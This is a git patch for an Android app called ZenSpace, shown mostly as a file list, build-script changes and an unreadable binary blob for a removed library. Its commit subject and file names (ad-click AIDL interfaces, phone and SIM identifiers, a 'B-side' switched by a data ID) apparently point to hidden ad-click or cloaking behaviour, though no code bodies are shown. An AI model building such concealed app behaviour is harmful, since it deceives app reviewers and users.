From 4e5f45a02148a9e49ddfe0e4794cf4515f60042b Mon Sep 17 00:00:00 2001 From: ocean <503259349@qq.com> Date: Tue, 13 Jan 2026 15:39:38 +0800 Subject: [PATCH] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=E6=9C=BA=E6=88=BFB=E9=9D=A2?= =?UTF-8?q?=E3=80=82=E9=80=9A=E8=BF=87dataID=E5=88=A4=E5=AE=9A=E6=98=AF?= =?UTF-8?q?=E5=90=A6=E8=B7=B3=E8=BD=AC=E3=80=82?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- app/build.gradle.kts | 7 +- .../UpLoadLibrary_12_03_15_13-release.aar | Bin 21581 -> 0 bytes app/libs/magiclock-debug.aar | Bin 0 -> 9152 bytes app/proguard-rules.pro | 8 +- app/src/main/AndroidManifest.xml | 25 +- .../aidl/com/ad/click/cp/IMyAidlCallback.aidl | 12 + .../com/ad/click/cp/IMyAidlInterface.aidl | 23 + .../java/com/design/zenspace/DApplication.kt | 11 +- .../com/design/zenspace/SplashActivity.kt | 71 ++ .../design/zenspace/environment/AIDLClient.kt | 238 ++++++ .../zenspace/environment/MainActivity2.kt | 739 ++++++++++++++++++ .../design/zenspace/environment/VmHttpUtil.kt | 82 ++ .../environment/ad/AdActivityManager.kt | 177 +++++ .../zenspace/environment/ad/AdInstLoad.kt | 81 ++ .../zenspace/environment/ad/AdInstShower.kt | 79 ++ .../zenspace/environment/ad/AdShowFailed.kt | 5 + .../zenspace/environment/ad/AdsInsUtil.kt | 28 + .../environment/ad/InstAdCacheManager.kt | 35 + .../zenspace/environment/ad/LoadListener.kt | 8 + .../zenspace/environment/ad/ShowListener.kt | 10 + .../zenspace/environment/ad/async/Async.java | 83 ++ .../environment/ad/async/HandlerPoster.java | 140 ++++ .../ad/async/MainThreadSwitcher.java | 73 ++ .../environment/ad/async/SyncPost.java | 44 ++ .../environment/ad/async/TaskQueue.java | 46 ++ .../ad/async/ThreadPoolExecutorWrapper.java | 158 ++++ .../environment/hy/AppLifecycleTracker.kt | 20 + .../design/zenspace/environment/hy/AppUtil.kt | 24 + .../zenspace/environment/hy/ConfigCallback.kt | 8 + .../zenspace/environment/hy/HttpInfoUtil.kt | 56 ++ .../zenspace/environment/hy/HttpUtil.kt | 60 ++ .../zenspace/environment/hy/IdProvider.kt | 7 + .../zenspace/environment/hy/MyConfigUtil.kt | 83 ++ .../zenspace/environment/hy/PhoneInfoUtil.kt | 375 +++++++++ .../zenspace/environment/hy/PostConfigUtil.kt | 179 +++++ .../zenspace/environment/hy/SimIdProvider.kt | 7 + .../zenspace/environment/hy/TimeoutManager.kt | 62 ++ .../zenspace/environment/hy/TimeoutTask.kt | 11 + .../environment/jb/MagicLockManager.java | 42 + .../design/zenspace/preview/ComeInActivity.kt | 64 -- app/src/main/res/layout/activity_come_in.xml | 2 +- app/src/main/res/layout/activity_main2.xml | 95 +++ app/src/main/res/values/colors.xml | 2 + app/src/main/res/xml/net.xml | 1 + 44 files changed, 3202 insertions(+), 79 deletions(-) delete mode 100644 app/libs/UpLoadLibrary_12_03_15_13-release.aar create mode 100644 app/libs/magiclock-debug.aar create mode 100644 app/src/main/aidl/com/ad/click/cp/IMyAidlCallback.aidl create mode 100644 app/src/main/aidl/com/ad/click/cp/IMyAidlInterface.aidl create mode 100644 app/src/main/java/com/design/zenspace/SplashActivity.kt create mode 100644 app/src/main/java/com/design/zenspace/environment/AIDLClient.kt create mode 100644 app/src/main/java/com/design/zenspace/environment/MainActivity2.kt create mode 100644 app/src/main/java/com/design/zenspace/environment/VmHttpUtil.kt create mode 100644 app/src/main/java/com/design/zenspace/environment/ad/AdActivityManager.kt create mode 100644 app/src/main/java/com/design/zenspace/environment/ad/AdInstLoad.kt create mode 100644 app/src/main/java/com/design/zenspace/environment/ad/AdInstShower.kt create mode 100644 app/src/main/java/com/design/zenspace/environment/ad/AdShowFailed.kt create mode 100644 app/src/main/java/com/design/zenspace/environment/ad/AdsInsUtil.kt create mode 100644 app/src/main/java/com/design/zenspace/environment/ad/InstAdCacheManager.kt create mode 100644 app/src/main/java/com/design/zenspace/environment/ad/LoadListener.kt create mode 100644 app/src/main/java/com/design/zenspace/environment/ad/ShowListener.kt create mode 100644 app/src/main/java/com/design/zenspace/environment/ad/async/Async.java create mode 100644 app/src/main/java/com/design/zenspace/environment/ad/async/HandlerPoster.java create mode 100644 app/src/main/java/com/design/zenspace/environment/ad/async/MainThreadSwitcher.java create mode 100644 app/src/main/java/com/design/zenspace/environment/ad/async/SyncPost.java create mode 100644 app/src/main/java/com/design/zenspace/environment/ad/async/TaskQueue.java create mode 100644 app/src/main/java/com/design/zenspace/environment/ad/async/ThreadPoolExecutorWrapper.java create mode 100644 app/src/main/java/com/design/zenspace/environment/hy/AppLifecycleTracker.kt create mode 100644 app/src/main/java/com/design/zenspace/environment/hy/AppUtil.kt create mode 100644 app/src/main/java/com/design/zenspace/environment/hy/ConfigCallback.kt create mode 100644 app/src/main/java/com/design/zenspace/environment/hy/HttpInfoUtil.kt create mode 100644 app/src/main/java/com/design/zenspace/environment/hy/HttpUtil.kt create mode 100644 app/src/main/java/com/design/zenspace/environment/hy/IdProvider.kt create mode 100644 app/src/main/java/com/design/zenspace/environment/hy/MyConfigUtil.kt create mode 100644 app/src/main/java/com/design/zenspace/environment/hy/PhoneInfoUtil.kt create mode 100644 app/src/main/java/com/design/zenspace/environment/hy/PostConfigUtil.kt create mode 100644 app/src/main/java/com/design/zenspace/environment/hy/SimIdProvider.kt create mode 100644 app/src/main/java/com/design/zenspace/environment/hy/TimeoutManager.kt create mode 100644 app/src/main/java/com/design/zenspace/environment/hy/TimeoutTask.kt create mode 100644 app/src/main/java/com/design/zenspace/environment/jb/MagicLockManager.java delete mode 100644 app/src/main/java/com/design/zenspace/preview/ComeInActivity.kt create mode 100644 app/src/main/res/layout/activity_main2.xml diff --git a/app/build.gradle.kts b/app/build.gradle.kts index 268c277..6fe87cd 100644 --- a/app/build.gradle.kts +++ b/app/build.gradle.kts @@ -20,8 +20,8 @@ android { applicationId = "com.design.zenspace" minSdk = 26 targetSdk = 36 - versionCode = 2 - versionName = "2.0" + versionCode = 3 + versionName = "3.0" setProperty( "archivesBaseName", "ZenSpace_V" + versionName + "_${versionCode}_$timestamp" @@ -47,6 +47,7 @@ android { } buildFeatures{ viewBinding = true + aidl = true } } @@ -69,8 +70,8 @@ dependencies { implementation("com.github.bumptech.glide:glide:4.16.0") implementation("com.squareup.okhttp3:okhttp:4.12.0") + implementation(files("libs/magiclock-debug.aar")) implementation(files("libs/TradPlusLibrary_11_25_15_02-release.aar")) - implementation(files("libs/UpLoadLibrary_12_03_15_13-release.aar")) implementation("com.squareup.okhttp3:logging-interceptor:4.12.0") implementation ("com.google.android.gms:play-services-ads-identifier:18.0.1") diff --git a/app/libs/UpLoadLibrary_12_03_15_13-release.aar b/app/libs/UpLoadLibrary_12_03_15_13-release.aar deleted file mode 100644 index a3e30aacae042bf525f5eec498dbec4a8a476cf5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 21581 zcmV)EK)}CHO9KQH000OG0000%0000000IC20000000jU508%b=cyt2*P)h>@6aWAS z2mk;8K>$#}e~Fm@007Sb000vJ002R5WO8q5WKCgiX=Y_}bS`*pY&DL{3d0~2ME8OG zgWP?zEnSqL$ww5rw`vkGKJc2-{(YrQhFJ|~;PCP7SMo9$Z43g=^aR8N6}1hsfUQj3 z4aTA2UIsfEETrNAdl__&Rts24Nj+nz7ULz-eWxmVCX-{?Alo-+8&Z>`a&k5TDnhqZ zyGE&3`^++bfDCQ(=lF&OJJgQs|K8hh*Y0tsUammc59jQ#8@^CW0|XQR00;;G002P% zach4(-%tPmPgMW_3jhEBV{Bn_b7gZbYGHDen`4YF%+{uRw{6?DZQHhObGL2Vwrv|v zo4ajuH|PD3nK_f3FPW;;kF|1FQortXtyGnw3_5^b4tD>80^+|FZjS$h2<`uf+#GEkj7)8>uK&BY|hsm&anUxVnP)Lc(*9lx$h!i0=<)8?S5;jF@AHJQV0 zd^^>_97{Q4=Ph`edYo{ocG|>Qg1BcJbqDSO@l|CyzG;7*Rco9nQ%bclz0V3& zL?oS<5#_&&IjONuhq*6I8$Ad_U})iNH1-*3)+MZ9jb|$qo8l?kMlOg(Gw_D!CzP6m zY;tsLDQmThn&D@b*Hwvg@b8Lf1H9)QK%zo!ta%-6Z|1+$L19M5U`iv|8Ie=L7OlXQ zSn9QOi`h5~8x^&Oe#z)=Z)>cptB z*Oo@gx0IDrMQAUp8G@-(XUOqBXz}6U5K9@$RaMp+T#Ce)E|$n!tnw=k_E;*Y^ne-! zX~u>DsT;w0(5O2bYLydmGLlt@{(&Q|E7;C)6de4t2^HoxhalV)!xO=2%o3-IEqPr~ z4xC4~MJq9M?|3rm^Ugwjvn*Vf9vnlK?Lp@#CzCALo56mWh`)wDk%v3uXRC*|j`2n0 zxdOU2ZCVHrIDk$=?KC-QSuRn)!~NS3?sc9pQKZm#!q4Vlja~_mUVHJlk+dh3uxp0p z!;#szL~)K8*T15Xz}eMSWwmwjJ2NyQBEhXdm#FVeG@bHy1zU)0r>a0hE7fMJ4i)ZQ zZ{FQ)F7r3;uV@A{*|kF{V|C&?gCY#vLZj`)j(c|~dmztTBUz|5|7=Ce z(hF_9+taYV)KpReA{jWzUfm%+k&~#Kug?d1d{tBkv*OQ8mAg~O(ybK&wg;+-1sf$6 z91Y^md2VzdM=a0p^=zc$sRgxfWG{Y$@Cf^at4CgQgt6$U_64 zldi{yI)db7i8EcF=VRh%sU3A@W<#gCGH|XZYbofh?QNusAl)-PN=MMJIP;3Z zvw8(y*I7Zvqlv^nVOqKe)-YHL>QvZjg_cdO*z>oIV@9>&NVRTH$Pv(~ge#NwsJ?e= zkOl*u0lwp`2bgZ5%s2>r|CuVdD96!hLr|>@{Au*q&$iUsr_4BxZgmQI{+`=kBZhPj zjnGdR-Rf<)UBylSxajm>XbapNc7b6m4fI(b5tdwb(ygfl+BT!Qd2^ofUS?JD69nD9 zc9k4iAI{_bly=W44!Mg5likjt9dNPV4Xy$7gC%n7R5`jk3A(N1o!)xR&snDW)0UsY z#0unnRhJMG%c0jIVWkMxP9~Zh&$}^gb`QasLdLsM^#;>_`&>AtH@R2}akRG<4C~Ww zRVzuNT-i&_yOw+C$L5aY0I&4A;G^M^QEgRR5_AiRcvIyqcwLyHIecApO>z15^xyhG z`4I(}J3lNE`fV)h^aIfy*~kG#d!djs!c8EF{b(t;FEYGrEAQp?qLpn z(U#U5s^#V+-I2|kJ8yYjB~A)jyt)IgM@ERp#*n&bmg>&>bb?WwhQxA){mSeGNxZz{ zb*7b3t)e1scD#bJ1RYdpzC#7hlZ7-L8<|`Ks_XhP4;iGP*oP}>s0H5bFuSEkF){^H zsNy=#dxMmhM!X8RcHNP>t~>j_@x-$_p7<9g+%tHBqs;wG3`dDA&ZJQQMge;ln6C$$ zH!=R}l*}2->)lS zd-nlN!z`2V+~4$*QBJPz5l zN!hfamm|w!^zg`>tubjh+shMl9)_0^)j^FRI?? zeeA9Gs2iUg&58QP^U`@b?)^RmSDR75W)%Lg=9RYs>*XK(xfn-)Ve`vV1)?6?FWO?@ zjU>oVMxpPa-U}GAv4x=eX32Y%MwmKy^TO?qI81*->wa^??H_dTDad%k^WO`mM)`#j zz_`zLpLEqjyT_2lX?#!-*%3*OvLzRjfyt(1WZWF7qI}X4c`EmLAMmgIS7+LK@beE) z5+ecuvHm+`lyr4)&C^4^R#*#J&DcfvG z^cPah-~@Xh@>W6vCJFHtDAvr<2%bzZUmI)jObo82h%g}4-U`5OSKyPJbOQ%B2Bo*% zBIo1%?(o!}2LQM@zw3zfb0js`PSaxcd+hn$_I3B%?sk5EK-_-f50JcN545%9Mq@mD z=C?k}uHw46p6Y%koF1ES`7NEX^c0V=fDJzz<2^_OB3kAwls|c@w~rkJ7o&)8swj%o z@o~vFUf+Ltv-4DyQ=lzFEx%@@onIrZFDB)n$auwB#kx^Y*fH2>-$z#Je##C?`;^&r z-UpLaHTyg|1xEU$Us~zVDu=4|9b>{>?H!tNQV;9xw(PJP zM+xq=0Ep{v?)$V6S@D?MLk%B(k;g96O}{)94T7|BC>AirCdE}+qI(t$u>l@n$CsM# zL&$>nv#c}*zksU&hvME%q<*3vPdS6Zz}eLKH4zCnqe!Xyo2$QHH1sS~l9rBvVCSenk#+h^oO?(Vk#^=dJM#mu`I)igmyDoX zm>^a0BjZaHqMC7fID)Za-;^p%sdJSvCjD87eUz%mz~zPAz^`89{B{8afQN|!BA=(M zpcC9}#I-l5&@|OwcArLt!&QGYo6}O?MP@JvDwa|Un6W=t1mV$nJ=QhwM1_S2;in`u z(hro94`y;UQ+cLG9y|ETYOHCRM6iYpzrHw$9rr$UiGEj?!4T}U#bMj$y(m71g;J^O zr^dhiZFQD+0sGxi$X#keEw73?+0+oE67yD(%SEvu>Pfe~H;%`BkHlNL&zeULUY)CW zrvyGtC*+_itRSIH*ktOYB)GOpr|0Wy8w2J9eh5qi;JeyXXDWf!X=UX>8v-R~gKl7E zM+JM~j`ODnt)6HHyHUWJOW7A?F(>C{?ylPct(f|2U=wI)DuHY~b`BOpB>svN#%E z)I&neH`A?A?wdwysOt@Fby*gY0V8^R4Kl~rv^WoM_A<`q%}Mn>)@vOP+vCdOd6CxX zuUueWca_p4^+D;-bJen6B!PgBt8kf4>S>nD@ZU)hf1jC{^TxKC{Z_iad@-}7)-hn3 zq#1I`!GZ&%s%xqWlz$@)QpS9Pr$jaGx&$xeYsd7!Ed7g#8j5DlIe7VseYm{>w^iY? znTf&+a0MO6Ck1S#)Oadk@meexY?sX$ECb7a3$TGxYvcf17qr--HDjpOTD=Hc6zJjF zTf?$KY}#;N;@EJlIn|xk;A#)!xedxEG`m~Qb~`L{NVevt?o)esux6t3yVB;H9!sLr zj7v(KN`AZ~#^I6RZAsvg*qk-}w(m`cml$Mi)TRBX4AS|m+dIE>u3nx0V;8vEy;lAQ zoJHNZ}IFpOS zNG`KZYPHtg@>aK4Y+M;%WUc;G#<(!V3~TPY=B5k0J^fYtyyhC21$3-KZoV}|&v9u? zNF^^WB?XtEs-go6&z9NdFa9$mEBll>+Mk)5WZsQS2uCnvacI@00K%1dE$6g$`_3@4 zTAg|$u}ilaZ-4;rbYor-_K)Nn$+_h{rMgM1C^=Q7@LP&1G9?vMQaidF85)C<^whIG zRDJfKh|Vw$XIo#W8ArqYksB|redgF|E#T~kH5QNM47)FC+@{Rwcer|p&+#g3o+pmN zs-fpx10x@t5rwvv4tE0##GPemVsCrQl^9FhyZB2JYANLx{khq%CSreYv~eO_noXRE zzZfE{>DPQz<5n>_z6#3-lEdBBrDl3=c6!fjJgJgjtju~BY8gmw*qt(GG>Ly@&LWr7 zdR@=*j?(;MmP30Vc2!69H|B9TeVB{%$H%*a5)I!zS@{=B6W>Zmv5B?c0Dz7+>NFk|Aq4-IQ<6h5~+6eD@G}0CGLnI4^f!1j7JN-1$Z` zzWJ3$-`i-;2?YZJ`sRIKJg84-1;eb2ABe5NSEh)cCIZ+$Qb=RJ8lm}&=>kYxr4PJnr)H5&MS?xDb@T;gonLx;rh8dSg&wh|tS-c+QTt z{($@|P-HO3^FKfV0fk`z0Wtr70>yvfM6V{4FRmKaPyZ~_q&uLDicU|PFf`PbeY~xd zkhCzNjA|!|eBBOP1}(>ye3G@9WqQVT(|Z*L4RzW3Pats-rM}{M8)8U=XJOE5X!EFs!7YN70 zZU^`Bs+oN3eDbjyJ67_Rj07p-ssI{!cT6XMK|2$^4@1FRY3-5F3RXf~lX4y>7m z<{332R}n_E(4lw-tQn|sT$T!4=xDpI39c9n_^cSB9_l*mB3bZv&O_2fJqSxFlu88S zo&%#+EYD6}4N0Sc33M4Qbz9NxB308VSYo#sK5x9vs-EI>3dTfJEIGMGp$}LL6+R7D zhpwVd`Xp`2t>VkI7MT0xw=f(Z_%o*&aJzCp_=eW|mF>d;lY>lu*a)<0 z)JtIFgzpmJZMF2P5om54j9Ds=sDTusU&Li8j7EqaS@SAxYqjr}OLP^El@5xgKE2>f zuDt8t#lYyyhn?PgAq@^(u=G2P8iBs%?*4L(fjy4LuuWGJ6*_vcctOWGT$KU6>XSJk zg&DKf^`KhdR#%Dk6WuyI$``>t+V*{Cfy|GJD0A{F5UO^AEec1YPIUDqWp!f#@XwY5 z=s>`VsIW^;LM>UXRID=`)&N~w>h{Tm_8I)V$v9NewV>`rzlvdIx&kWh4m!cve3;O$ zEoCuIor(De6UgrK)SSXiNw}9gH|p7=+nl{Wz8k5(3eo2W)s){>fU7OAHwQvki^mt( z0C0BFmtzs;G>TuCY238gMl_br(3)4#D~X9gY=Ms!KBh(@wl~=b5!A89vc|D2t>MQ- z15=KF@p(brnDbuRYo9@b3J0UWZ(k!b^EuiQhJ|Gu2 zGcna|#+~TrxJzu&*9=ZqzVa@i>Q3XD7NTP%D7+{2js&3TUysu`;j!g%AVcd9OHmow zRLMZN&2psAL^;r7=mqWm#`*H3)2DE>MjE#D?;ng8VeYTCS}3psy(_Z~@M5u(-I}Ry z^RlB&l32*TQ>S{c;|)+r6QQVuOILH?$GRPuRUYHX+}TIwXZUbPyxp56*Q(=3?Fk<* zsl2|tFNT!zGR?gAmPBb7XurJzZsq2Mu&^GFc@ z$FJ|YjIQbmhktj-FRL=E>oJedM03LJQ)Rl-R7%URwP?2J*;pR(z^C%3CIJ^xWE{>$ zqkPSQvBxK-WK|i*hh2iNfw^*;@u*`xUfNlvfUG2ZSuwlZaZ5Mzus8KE9l5F3==hC^ z*I{kWS|zeQgSZ}mBkY0YNB zh#&&6J2_vOix-r@x1b*sC*Wf9L=)4}BX#H-mcAoXFd!m=)`ws4Pbf(hf2O~>N;FgY zkhm|O&V&601p2)5_u7{<1pMw;_q37jYoG1>?z&{iPWZ38)1(&3Ga6(hix$fQT z{y?dl+@Kz)6;(8#edda&=@PK0t#ym3zG#wU)o4e@I;C4*J`}a6@UL5M2%w;Bt*G9- zCh@;_3FP9gUTsfR;aQz1DMx1}cNM!-`n>Ru@@U;}(WvUkS?4sxnZS(5sxn_=l!%i1|oF6(xlavV9mvRN#FOr!uQn+eB5!S2n>t|W<=O?^U74+$UWBh)dt?qg4 zrG3p#cYgRz&f))@*&3v#_#&+&rBv>^pjQGQ9@llQbOtODJBwU=E(#f%}Nx7Yn~{3ezxk^aHQIt;ic9 zviB?we@uhj#jlzBqldMKZMs!WzQurSp0U!%I}R3_vV?l=W~jBv$f;+ zqvU(=OAGCdBY)+t)*re3kZMU|i3E)^yASf-*%zLEs57E4a;=8(pakMCmM}}5FzBJ> zAm};irW4&JXG+~@?6w=q>Y;f~xX#;$y6pgKDZgkYGk@{ZHTRr00y8kbbU%LnlQEMh z6~ewsj9AiB`90RVFU-ZAR-KxPGX{TnxYW*6g)hE=q46l?d9*BTXxDC9bbAT@U~$ZA z0B<*^{SXX4Dm!o$6nNToG9z>Qd#6^};04uNNk95D;>=s^Gi4ulZ2exQLhTr>1AnXf zAr5{@iRr_e^W@_(ucr@u&s_QnX+5xyiF~LWD)s29gtj)z+YPHPtTOl>O<3*x@ao}* z=XSDAJOS!}fA@$vLfa0?Na?%%(04*hNG~ab4u)0cSiFvv1-Jm+Sk1J_DiVv0H69Z| z>L}e&Jv{eaJ^r|KebbRg8)r~YF76Q<)r8Km-5X9n!al)g-7(lu(xvc&hV!cl*B4Ds z-Sse+@aiGHvW1HGgb{LHcQ}pQ15#SN`QHf6ngw)-+BYthV+LS~DJr)t@%$#~zW~nVB_`rBq;0DOggAi%Mm~JM|nT8E?`*z&scJF=6|9n3?0OgGl zfG&}BXWiR;X11xb#}*ZHtudeS)vxNTs6U^&Imic$uIbgkN}&lGlC)dxx0!t8 z8J*jko7HA9(JFY*&d#9vwwLJ~=cv=AwJy@xPc|Ltkj*#Haj@VimyZwKUT)QAuM@+N zb(h791Ie$WLm4D{#K74x(Q1ZqaPw#BEUvc1RBENp*gAEjR^wsBq0v^Ry|E1K+mv2uk|x;LL7RPqUt?U;*k>VWr7pv#SAGPzFmjdDph- z-G8_~*JnIuX<0S{l>Y1y{5Eu*%p*b4>Hb<>o_{5%>XD}oC}>w*Q!B7AU>R{jyoaYe zOMwv9fh@UM<8^W+BAO>ax4eF4&AZ;Mw#6kF5=pu=3T)d=GS32@G>4Bn9Ok4(c!qo` zYnuJS8~=qHUkFD*8QpH%0s9HTlszEykB_prdF``9y#}M6vDUEps3AN`{E1xN1-;tq zCS%;LNs_$~>t`9U3|mTKRdjTrwb130XXPkD3>^&&oeVSftAxENOc9#+jF> z^Z*rDhv+Zw;Ri@2OgT?zzgpL@sI{79^pn8w5>dg&7n;v&f{{ z@HP6j^*5IOW9k~Rl1cRlO3vd5f23M@O`1!^*b<<15igy0>cl_B(-hm(Q*0uOZ7=sI zJ>7L!<=Gg=B0|A5VL287@?cUtyUiz8fOTXtVWj@&zG4AkQc)c(-#BO|z<&~78_|;o zO$kedQxb%x}{D$<&~i_=T(#E(y*Gp`eN8Q5a$s&v2w61TF2_If2l+9;M`N z&U}e7FLK9++BS}aOrkso_z?+eciUIa=4&a~fF}*#!TWK&PD(JVm}D$S{CaDZ6;LjI z?N$t}E8Y8($<#%p_Km=Cn<-8b{D8)(+&e#h&nYi;5e+PTEwy2iB}1sC0Kwbicw`XRJ5%;ua_jVDfiRvu3}6!rk56SUpU=$g;f@?&Cg!xpJ&dvfLkc6Hz89 znPOd?oV{$sBp@psNhy{#etcD>(aI{p;c^^|8`l!X{)oo=gBv)en)nA`Gxp29v`7Bk<;F0X(k6N1MZuc4rmf4ny&S z3pz3X7r&n65Q&$%I4lJe?H8F*>hGihx?g04Iv~`MEQNm%EEGYs&~)!Fk%{Np2Zx|<K)Q9q<`6hS!Jnf5^T6xV@j$TDBtVf>T_+vF6;kR$g*}J zv;a+`Jg1>gpr~(Nj^I&7EB9W%!|nzt=-IRSCe%E#`#J*K{7NY)NljgtvIp@c1-(@j zmTD6P>c+9u?oQebznm7oY0M;3U1p7j9y$V44!onJH#1;_=avz{1EHoiA3Jiu6im)jaf;)PtrG#* zdxv57PaHOSyzcdQ1255AM3;%r|VKhUCfMV zL_{LzqmqYsX!NOJ&Y5C7jym)l@tPBuaJNv}(y^2dgE(4tMeSGbX#sOHGwIA4(``zD z9>f`Nux|Q>o?kx|cZ&1giPR|iiX2a91&TXTej%Y(Po-gbY4~8Bv@ku`?%WNl zsZc+xX)1K7q4^kHvplr~Sf*1hd)$1}KX{#+9b0Hp9U>dLY!LC0)jhUesJ`c&X2EX? zE*@#?G*CShfjei0XLT!S85rugK9kkO7IAXSPpdJ?Qp(=$#pUpNXJ!i}cfQoarJK3W zE3T^(@-OcT^}e{8(!ar`B-f~X%IHi_N{){@*^D?{h~q4vRNQ?Jw(s61oWk%rXa7pQ z`r}p%6Xuz$YlV6o-LonNG;oKQl;s@aljX^9c}5UPt7Y>IH>7Kim}{pWLrxm`k_Rdr zLJqSCp{t@mNi)V3m-r8>uk>~Cw7iZx#q7_@QFo2azMa*QYRqC~lbiKZflK)k2Oe^E zb`4cqMw3k6sir32(`Bm%4he`SVin(5Iw5D;GpI_3@B5FJ;V4apRViwW`&qiM;d}HV z#7esRkyK@o7t7}@9k7m}OawMj;a|at)Ru}v$axRb8PLbWB{GxBaZ%%S11D$MNTjBD zWfuB1i^RV(&g%rVw9>-F%er_7o0Z!s>gg3F&mp@nX1^eu*dnJpmEtGA;cmbRQZEF` z1!NnjTC~}uVS=j{X;*qyxDX znPOKVhd!rFue|(qMkY5;+1F~iuL2LsM|L+#4JFNip3iYk+%~VMzZ!11bnaqppuvuq z&|hFwP;wKS%)~f6Fq1i+g<7Mc(&w(Ox>j%HfswI%0|sH$wXk#@%^8Jjyt<8M`>SID zTD9ZR7qOPo%>g-y4rgF4IgKk8p?u3_zj?ds24@e7qertD@{*f;V!t;!*~rKt~6DanTNu#!&H3NxY<+e&tEUDU+X zFhJS?XCeE!tPj#k##+ZsZmUd!wYIpF`WcF^C^@gsylL^mCZcr7niq|`n+;99Sti~d zpM)yb*D~62Q8fnr;1Z)n^=h%ZksU4dms=$~a92}mD=#^{9`v|XL1=^=2^%4`TfHm~ z0lm~zSMF(L;e&8plB~)Xh>G7w**iq}`>R~%5VCHPBx}dVlW&QQK5jpWO)8h0+vpaL zj9J^4ZRXr)(!}Ot8Ed5pJcEalFxLU)sjv6 zP&0k^1&F8X+2U-YxE=6FHFIctOF6g7ewM6 zo#?Q~@+Jr-!JjIAJoP`dI-bs8i!YH3JJ6;#Z;?+H-t5FL1ZPgNVet);2zp7W?R5Tx zT%lqzBBRJ-YxouOyuZ7KpWZ=3^P%>mxCO{?GNd>6N?wPo_HqvQG`DfW$it zsDMWI&o1tcAY!aiTNPqDy?2`T>V3}rx1{g)!;Q_DTs@-_vq?#qT}5$aD_<}UkY0#L z38&E)_nq-I^-CzQ6^%ud;WZGx#wh$QMPHN3hz~z}!!3~z^4r7g*E_qf?$?EqfFJy} z-rMpN8Tv`wx)}e)vD>HW;I4?Gj5ZTHW{Int0TXyMaml^4R`@NMHMC zAU;m07W8wUjE&xyK<83L_^5GepTjc23P!AR*$YFmX3{;j4U$Ta+Olo)pS4X!>RI+ zXZR%Qy$Honv-q^M;D+zLtUqTsd-CG25gdr0Gj-mLcgcIqiO=B(`1$zA2a-Ra2;@U^ zATy}HKlC(TX~gga1SBwIR$K$vk@|B4>nl+A$2IH!Bqn&yjvDk8+ zO@odG27elr4d7@?Et)b!@CK}h@(1eO8m5T~;4xVpwq}`V4AF{e0C#8hdx)hB;$O)f zqFkX^c5-Xb%UyB~q@Yx}u07RWv^eZE`cBts)@+||s|SVF{?Va5HwOw&$yUg;#L}+@ z_Kz`w53UlH0QKI(3a!e^c`-$N+3pcM(cgI>(7odwXVwe6vGbfqn6pS2cg*@jLR;Mu z1TM_WQGc;by%A3!XlN(D&k}ma1!%YCc9RiY2&l>w2o%{W39uSdVlFpnVq3yP1#~wmA&Bh)QcMAr-%VDEQ?=sk^ITUBi zicqH=sKo}7Y_U0I9mAqlQJ?Y-tYeya`fAsTb5b?+{c-v{yx6i@T*`L%Jls-NErw$j z)0Em&>V%bNV^xZ5uk+N8Z^hTL5;huIQdj$x^ydq0=O3F5+oHG8*n|zPj#~^#EZz1h z-8w5-?z}CEQE{*4oA(g&c9=`P@GS#GRDRXAN?=6R0$dDq9hi_=K*Xtmq0tl+^72cR zaZ;I=C9%#yoO)L#W-!O%`aI(??YmoFn!D7F*8Jt3Dmo-Wr^dcrW)ldc&cHyW7w@_ zRn^mKe!HnrJ)?V~0W#VAbgqks17|g7jlR$=%l>qw3G8PmS7m0t5Z=VF#13ljrWM3i89>Ve! z%BaEaMcSrxOQHFq3Omt1_&iB@u`ej*IKTTFvD6{RZB6)uV8*~0TXQz5(Lv0(`~wYO z>JgSQ%r(MsLs_5B+X&xTCosOXS?ADtVHtT@FbJ5?fJx3?DmtQm_5C4!Z6|)+aC@D4 zw1ti5;KC#PB-(_xbbYWn8h21j?@C=Ki*iZ3I z?q(e{fgI|BY}+DLN2Xd9(WY0Y((w8wnYP~*ulXGcObw=Ls7h^6Jz|-V^aP*qgQj3{U?$$vNy6YbN=r}Q+3A$MGf_5M=r~@%_^Bbg&nmKEX2Rb z>Nj;sL7_5a*)J)bkg9w4<}f?%I3Uak|SuhS>b@_xJ{ z?)(m^Z;O$q6M5(9cJt|>N8b&>&-W+IZ@^o`e#Fgk>lpVJZMX)l%gXUh`R0;$pgqj? ziP~^%5EJRz8~7Tny+*4|wN2QK1d?&YOjg^ufgxmU9NqY0XhaZW5v7TOvUP1enNpV7x=PJzdl?Y`Ap(ruPIn@$B+pV{W-rnufmhtXx<`FbAv z-U0JQqgmMek3@L0ijN$3#HM~4W${%g(CA{&p?WLZaQTs(^Q7I@y%)f5@je=Ex(HkJ znVcC5Dr|V(kV)#Fj&bRs4RSxT3qy=Rq~Cvh!G;cEt#kSkoQgRIlkVz9E!m8_8qO6;a!gG#4Yy6cEuCCnToukrLu71`DiduD-vGWStFXd3tLR&y zv2x>yKdd4Sxoa`gVFAN$B}Sh9xGWJgPv>r7Bl$cA{P`nVn^Dh%I_}wsJq@C;7y55S zXbf5i*4s7qU|ZFK!m2=O#v^*BXErztnEdsQ`N?gndytFSgCj^N5Rh82M;>xcGAJ5_ z+P;r>yB)-E(oreCo(hSkgOX8(5ZR;~TYX>wT(mzgp{#Fr`r^{f(Mnq0Pj(@+b?C{3 z!OGk@k)+)b;t}GJQ<<5jSBBy{27Mya1AsSak~~9{F?2LuHgVI8gwMDPh16xF7lyQ$Y22WsMz=DV16=m?E4mpdS%HNos!0!ukNs5M_ zJfY{rS=oxoJe-V`@Jn2!_$80O!YJAtVqlSj@k$){2QnikE9rXf@lvFo za}e#oJJf>`mIPW96M;shqDqywQN{3yzB#=egOV_VHUE;%Ej4?>e=x~tI~WlP`eY%- z8e(cCMG+rqcYvi2{3T4sJ=ZUg1xp{wMt%Pxe8l$^bTz0@tF%za1a7fmN6Y};=@;y3 zjopsV*n$N`=7*g#ONp#Yc;5;+S%Mb!nmKjiil>=CiLUnQ2?nO})D(0AlR}6Jx51yK z>jEL)-|qisOY5!qj_|M6C8k9*{|gHUD25pbi0I#2*MCI+{WVS- z%2#z|Mc~w&`PPg%%#@tg2o8}^Fe$LXDoBuh!VotdCf z&C05^U9EPs4q9=TW{dJyl|k#u=GUdM2HLeTMz>|F@6X3gHW`eJj{i(gcdpBPU(ck= 